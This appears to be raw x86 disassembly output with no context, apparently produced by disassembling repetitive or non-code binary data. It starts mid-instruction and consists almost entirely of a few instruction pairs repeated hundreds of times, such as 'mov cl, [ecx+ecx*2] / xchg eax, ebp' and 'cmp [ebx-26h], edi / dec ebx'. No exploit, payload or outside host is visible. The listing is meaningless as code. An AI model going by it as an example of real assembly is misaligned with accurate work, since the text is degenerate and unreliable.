cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp push ecx mov cl, 37h sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm6, oword ptr [ecx-4EAEF0C9h] aaa sqrtps xmm2, oword ptr [ecx-2Dh] xchg eax, esi pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi-692CAFA3h], cl pop ebp push eax rcl dword ptr [esi+4BDA7B39h], cl cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx 